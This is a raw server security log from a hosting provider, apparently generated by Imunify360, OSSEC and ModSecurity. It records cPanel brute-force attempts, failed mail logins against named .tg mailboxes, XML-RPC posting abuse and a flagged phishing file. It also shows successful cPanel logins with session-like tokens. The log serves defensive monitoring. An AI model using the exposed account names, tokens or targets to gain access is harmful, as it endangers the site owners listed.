212.102.39.49 - - [16/Jun/2026:03:41:39 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.186.38.149
country_id: 3017382
description:
[2026-06-16 03:41:38 +0000] info [cpaneld] 88.186.38.149 - caisseder "GET /login/?login_only=1&user=caisseder&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisseder (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.251.229.188
country_id: 3865483
description:
[2026-06-16 03:41:40 +0000] info [cpaneld] 201.251.229.188 - caissed "GET /login/?login_only=1&user=caissed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissed (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:41:40 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.173.70.110
country_id: 3686110
description:
[2026-06-16 03:41:53 +0000] info [cpaneld] 45.173.70.110 - caiss "GET /login/?login_only=1&user=caiss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caiss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.6.148.241
country_id: 3508796
description:
[2026-06-16 03:41:56 +0000] info [cpaneld] 186.6.148.241 - cais "GET /login/?login_only=1&user=cais&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cais (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:47:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946223&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781581622 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:47:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078057&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781581625 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:03:47:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198428&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781581627 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.242
country_id: 2635167
description:
[2026-06-16 03:47:15 +0000] info [cpaneld] 5.230.153.242 NEW wcnyaruu:Ek7KouODUghp2VbT address=5.230.153.242,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.195
country_id: 6252001
description:
[2026-06-16 03:47:36 +0000] info [cpaneld] 64.44.62.195 NEW ifxmoxbf:IXe0oqJ4Tct4qh5P address=64.44.62.195,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.74
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.687411368974302.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.18
country_id: 1880251
description:
47.128.119.18 - - [16/Jun/2026:03:50:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710120&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D11078&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781581834 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=11078" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.18


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 103.84.91.71
country_id: 1819730
description:
[2026-06-16 03:51:29 +0000] info [cpaneld] 103.84.91.71 NEW ifxmoxbf:VY59oOM3JFgxe_xy address=103.84.91.71,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.101.67.147
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.101.67.147||TA:192.101.67.147||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 223.109.252.234
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2343||QS:add-to-cart=2343||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.143.190.143
country_id: 1880251
domain: ns5.netmaster.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:34.143.190.143||TA:34.143.190.143||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:57:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:57:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:03:57:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.59.56.45
country_id: 3625428
description:
[2026-06-16 03:56:54 +0000] info [cpaneld] 154.59.56.45 - ce "GET /login/?login_only=1&user=ce&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ce (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:03:57:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.120.161
country_id: 3895114
description:
[2026-06-16 03:56:46 +0000] info [cpaneld] 45.181.120.161 - ceca "GET /login/?login_only=1&user=ceca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ceca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.104.122.198
country_id: 102358
description:
[2026-06-16 03:57:49 +0000] info [cpaneld] 37.104.122.198 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.140.104
country_id: 3996063
description:
[2026-06-16 03:58:04 +0000] info [cpaneld] 187.190.140.104 - sodi "GET /login/?login_only=1&user=sodi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.6.229.231
country_id: 1605651
description:
[2026-06-16 03:58:12 +0000] info [cpaneld] 171.6.229.231 - so "GET /login/?login_only=1&user=so&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user so (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.87.204
country_id: 1512440
description:
[2026-06-16 03:57:54 +0000] info [cpaneld] 213.230.87.204 - sodigaztg "GET /login/?login_only=1&user=sodigaztg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodigaztg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.110.191.158
country_id: 102358
description:
[2026-06-16 03:57:59 +0000] info [cpaneld] 175.110.191.158 - sodiga "GET /login/?login_only=1&user=sodiga&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodiga (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.175.30.149
country_id: 831053
description:
[2026-06-16 03:58:01 +0000] info [cpaneld] 178.175.30.149 - sodig "GET /login/?login_only=1&user=sodig&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sodig (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.69.209.140
country_id: 1643084
description:
[2026-06-16 03:58:29 +0000] info [cpaneld] 36.69.209.140 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:04:01:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130633&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781582496 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:04:01:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302300&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781582497 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:04:01:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985159&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781582494 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.158.2.57
country_id: 6252001
description:
2026-06-16 04:04:07 dovecot_plain authenticator failed for H=ip50-158-2-57.lv.lv.cox.net (18grs88j55bsci53a8i1nx01) [50.158.2.57]:42345: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.67.3.66
country_id: 2542007
description:
2026-06-16 04:05:37 dovecot_plain authenticator failed for H=([192.168.217.1]) [105.67.3.66]:44443: 535 Incorrect authentication data (set_id=it_togo@ns5.netmaster.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.209.198
country_id: 3895114
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/djama-pilsner-donne-la-joie-aux-amoureux-du-ballon-rond HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.118.66
country_id: 1210997
description:
[2026-06-16 04:08:46 +0000] info [cpaneld] 103.65.118.66 - fastsolutiontg "GET /login/?login_only=1&user=fastsolutiontg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutiontg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.46.217.63
country_id: 3895114
description:
[2026-06-16 04:08:49 +0000] info [cpaneld] 190.46.217.63 - fastsolutio "GET /login/?login_only=1&user=fastsolutio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.78.190.129
country_id: 2017370
description:
[2026-06-16 04:08:57 +0000] info [cpaneld] 217.78.190.129 - fastsolu "GET /login/?login_only=1&user=fastsolu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.55.241.223
country_id: 2658434
description:
[2026-06-16 04:09:14 +0000] info [cpaneld] 213.55.241.223 - fast "GET /login/?login_only=1&user=fast&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fast (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.105.114.156
country_id: 3865483
description:
[2026-06-16 04:08:39 +0000] info [cpaneld] 190.105.114.156 - fastsolution "GET /login/?login_only=1&user=fastsolution&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolution (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.56.120.34
country_id: 6252001
domain: 34.217.70.37
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.70.37/azenv.php HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.172.198.28
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:rgph-5-sandra-ablamba-johnson-preside-une-reunion-devaluation-detape/||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.211.80.220
country_id: 6252001
description:
2026-06-16 04:10:46 dovecot_plain authenticator failed for H=c-73-211-80-220.hsd1.il.comcast.net (c5ifwmy8x4ljobxawoqd2i1pi1321l4) [73.211.80.220]:47565: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:04:11:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:04:11:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:04:11:32 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:04:11:34 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:04:16:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790244&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781583366 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.90
country_id: 2077456
description:
103.108.92.90 - - [16/Jun/2026:04:16:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302602&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781583365 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:04:16:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10067050&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781583369 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.1
country_id: 3175395
description:
Jun 16 04:16:01 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.1 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.39.214
country_id: 1668284
description:
Jun 16 04:17:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.39.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.39.214
country_id: 1668284
description:
2026-06-16 04:17:11 dovecot_login authenticator failed for H=111-70-39-214.emome-ip.hinet.net ([110.14.192.20]) [111.70.39.214]:58186: 535 Incorrect authentication data (set_id=no-reply@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 16 04:19:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-16 04:19:48 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:26409: 535 Incorrect authentication data (set_id=mks)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.135.203.23
country_id: 1227603
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:54f9fd26e846258449549c23a2830da0dfd70fe4||Title:wri6bvmzaxtfoc4m||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.100.164
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/remise-de-don-au-canton-dadetikope HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.135.203.23
country_id: 1227603
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a2316bec375009b2e59212dd10c74f4bb9826f38||Title:hct9ysioxr5uo6e||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.135.109.177
country_id: 1227603
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:00088d29499e9d6f9b54b55f6cb909c41e2290cc||Title:cxc9tzlszy9udc||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.192.57.118
country_id: 1880251
description:
Jun 16 04:25:12 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.192.57.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.192.57.118
country_id: 1880251
description:
2026-06-16 04:25:14 dovecot_login authenticator failed for H=([61.169.54.150]) [151.192.57.118]:55369: 535 Incorrect authentication data (set_id=webmaster@cameg-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.135.109.177
country_id: 1227603
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4f0914a792842ae0fb56b65a6fb51b9a2a8f34ca||Title:hv4ocuul9g26754||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.250.215.250
country_id: 3469034
description:
[2026-06-16 04:26:37 +0000] info [cpaneld] 38.250.215.250 - atmstg "GET /login/?login_only=1&user=atmstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user atmstg (has_cpuser_file failed)


